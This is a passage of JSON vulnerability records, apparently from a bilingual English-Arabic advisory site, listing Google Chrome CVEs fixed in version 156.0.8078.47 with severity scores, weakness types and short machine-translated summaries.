Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox","ar":"فيضان المخزن المؤقت في ANGLE في متصفح Google Chrome على نظام Windows للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج نطاق الحماية"},"summary":{"en":"Buffer overflow in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"فيضان المخزن المؤقت في ANGLE في متصفح Google Chrome على نظام Windows للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/564064199","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113317","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:26Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process t","ar":"استخدام الذاكرة بعد تحريرها في Accessibility في متصفح Google Chrome على نظام Mac للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض تـ"},"summary":{"en":"Use after free in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في Accessibility في متصفح Google Chrome على نظام Mac للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض بتنفيذ شيفرة عشوائية خارج نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/555337558","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113318","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:26Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a ","ar":"استخدام الذاكرة بعد تحريرها في ServiceWorker في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج نطاق الحماية عبر..."},"summary":{"en":"Use after free in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في ServiceWorker في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية خارج نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/566136673","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113319","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:26Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to p","ar":"غياب المصادقة في Accessibility في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض بـ..."},"summary":{"en":"Missing authorization in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","ar":"غياب المصادقة في Accessibility في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض باحتمالية تنفيذ شيفرة عشوائية خارج نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/502689637","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113320","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:26Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"UI misrepresentation in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to spoof ","ar":"تحريف واجهة المستخدم في Navigation في متصفح Google Chrome على نظام iOS للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بانتحال..."},"summary":{"en":"UI misrepresentation in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to spoof address bar via a crafted HTML page. (Chromium security severity: Medium)","ar":"تحريف واجهة المستخدم في Navigation في متصفح Google Chrome على نظام iOS للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بانتحال شريط العناوين عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/429432679","advisory"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113321","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:26Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to obtain cross-origin data via a crafted Chrome","ar":"غياب المصادقة في Extensions في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بالحصول على بيانات عابرة للمصادر عبر إضافة Chrome"},"summary":{"en":"Missing authorization in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Medium)","ar":"غياب المصادقة في Extensions في متصفح Google Chrome للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بالحصول على بيانات عابرة للمصادر عبر إضافة Chrome مصممة خصيصًا. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/513521516","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113323","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:26Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"UI misrepresentation in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted ","ar":"تحريف واجهة المستخدم في Chrome for iOS في متصفح Google Chrome على نظام iOS للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر..."},"summary":{"en":"UI misrepresentation in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","ar":"تحريف واجهة المستخدم في Chrome for iOS في متصفح Google Chrome على نظام iOS للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/480153486","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113324","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-908","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:26Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Uninitialized resource in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to read memor","ar":"مورد غير متهيئة في وحدة معالجة الرسومات GPU في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمحت لمهاجم عن بُعد اخترق عملية العارض بقراءة الذاكرة"},"summary":{"en":"Uninitialized resource in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"مورد غير متهيئة في وحدة معالجة الرسومات GPU في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمحت لمهاجم عن بُعد اخترق عملية العارض بقراءة الذاكرة خارج نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/563357593","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113308","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-841","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:25Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Inappropriate implementation in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process and le","ar":"تطبيق غير مناسب في النواة Core في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العارض واستغل الهندسة الاجتماعية بانتحال عناصر واجهة المستخدم"},"summary":{"en":"Inappropriate implementation in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","ar":"تطبيق غير مناسب في النواة Core في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العارض واستغل الهندسة الاجتماعية بانتحال عناصر واجهة المستخدم عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/518102808","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113311","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:25Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Race condition in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass site isolation via a crafted HTML page.","ar":"حالة تسابق في ServiceWorker في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمحت لمهاجم عن بُعد بتجاوز آلية عزل المواقع عبر صفحة HTML مصممة خصيصًا."},"summary":{"en":"Race condition in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)","ar":"حالة تسابق في ServiceWorker في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمحت لمهاجم عن بُعد بتجاوز آلية عزل المواقع عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/499365667","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113312","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:25Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"UI misrepresentation in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted HTML p","ar":"سوء تمثيل واجهة المستخدم في ميزة الإعباء التلقائي Autofill في متصفح Google Chrome على نظام Mac للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر صفحة"},"summary":{"en":"UI misrepresentation in Autofill in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","ar":"سوء تمثيل واجهة المستخدم في ميزة الإعباء التلقائي Autofill في متصفح Google Chrome على نظام Mac للإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بانتحال عناصر واجهة المستخدم عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/439873332","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113313","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:25Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Incorrect authorization in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass web orig","ar":"تفويض غير صحيح في أدوات المطورين DevTools في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز سياسة مصدر الويب"},"summary":{"en":"Incorrect authorization in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","ar":"تفويض غير صحيح في أدوات المطورين DevTools في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز سياسة مصدر الويب عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/554475322","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113314","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-203","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:25Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Observable discrepancy in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially leak cross-origin data via a crafted ","ar":"تناقض ملحوظ في الوسائط Media في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد باحتمالية تسريب بيانات عابرة للمصادر عبر صفحة"},"summary":{"en":"Observable discrepancy in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)","ar":"تناقض ملحوظ في الوسائط Media في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد باحتمالية تسريب بيانات عابرة للمصادر عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/562970433","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113315","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-908","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:25Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Uninitialized resource in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to read mem","ar":"مورد غير متهيئة في ANGLE في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمحت لمهاجم عن بُعد اخترق عملية العارض بقراءة الذاك"},"summary":{"en":"Uninitialized resource in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"مورد غير متهيئة في ANGLE في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمحت لمهاجم عن بُعد اخترق عملية العارض بقراءة الذاكرة خارج نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/553117511","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113316","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:25Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox vi","ar":"استخدام الذاكرة بعد تحريرها في Views في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية خارج نطاق الحماية عب"},"summary":{"en":"Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في Views في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية خارج نطاق الحماية عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/553140050","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113299","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:24Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Incorrect authorization in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass system access restrictions via a cra","ar":"تفويض غير صحيح في WebProtect في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بتجاوز قيود الوصول للنظام عبر ص"},"summary":{"en":"Incorrect authorization in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)","ar":"تفويض غير صحيح في WebProtect في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد بتجاوز قيود الوصول للنظام عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/532987588","ref"]],"epss":0.0056,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113300","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-203","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:24Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Observable discrepancy in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to leak sensitive info","ar":"تناقض ملحوظ في النماذج Forms في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتسريب معلومات حساسة"},"summary":{"en":"Observable discrepancy in Forms in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)","ar":"تناقض ملحوظ في النماذج Forms في متصفح Google Chrome الإصدارات السابقة لـ 156.0.8078.47 سمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتسريب معلومات حساسة عبر صفحة HTML مصممة خصيصًا. (خطورة أمان Chromium: منخفضة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/513468106","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113301","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:24Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Confused deputy in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass system access restrictions via a crafted","ar":"ثغرة النائب المرتبك في WebAppInstalls في متصفح Google Chrome قبل الإصدار 156.0.8078.47 سمحت لمهاجم عن بُعد بتجاوز قيود الوصول إلى النظام عبر صفحة HTML مصممة خصيصًا"},"summary":{"en":"Confused deputy in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","ar":"سمحت ثغرة النائب المرتبك في WebAppInstalls في متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد بتجاوز قيود الوصول إلى النظام عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/497299147","ref"]],"epss":0.0056,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113302","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:24Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to obtain cross-origin data via a crafted Chrome","ar":"نقص المصادقة في Extensions في متصفح Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بالحصول على بيانات عابرة للمصادر عبر إضافة Chrome مصممة خصيصًا"},"summary":{"en":"Missing authorization in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to obtain cross-origin data via a crafted Chrome extension. (Chromium security severity: Medium)","ar":"سمح نقص المصادقة في Extensions في متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد بالحصول على بيانات عابرة للمصادر عبر إضافة Chrome مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/500491981","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113303","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:24Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted ","ar":"استخدام الذاكرة بعد تحريرها في WebRTC في متصفح Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل صندوق الحماية عبر صفحة HTML مصممة خصيصًا"},"summary":{"en":"Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","ar":"سمح استخدام الذاكرة بعد تحريرها في WebRTC في متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل صندوق الحماية عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: حرج)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/574041825","ref"]],"epss":0.0067,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113305","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:24Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to potentially ex","ar":"استخدام الذاكرة بعد تحريرها في Privacy في متصفح Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العرض باحتمالية تنفيذ شيفرة عشوائية خارج صندوق الحماية"},"summary":{"en":"Use after free in Privacy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"سمح استخدام الذاكرة بعد تحريرها في Privacy في متصفح Google Chrome قبل الإصدار 156.0.8078.47 لمهاجم عن بُعد اخترق عملية العرض باحتمالية تنفيذ شيفرة عشوائية خارج صندوق الحماية عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: 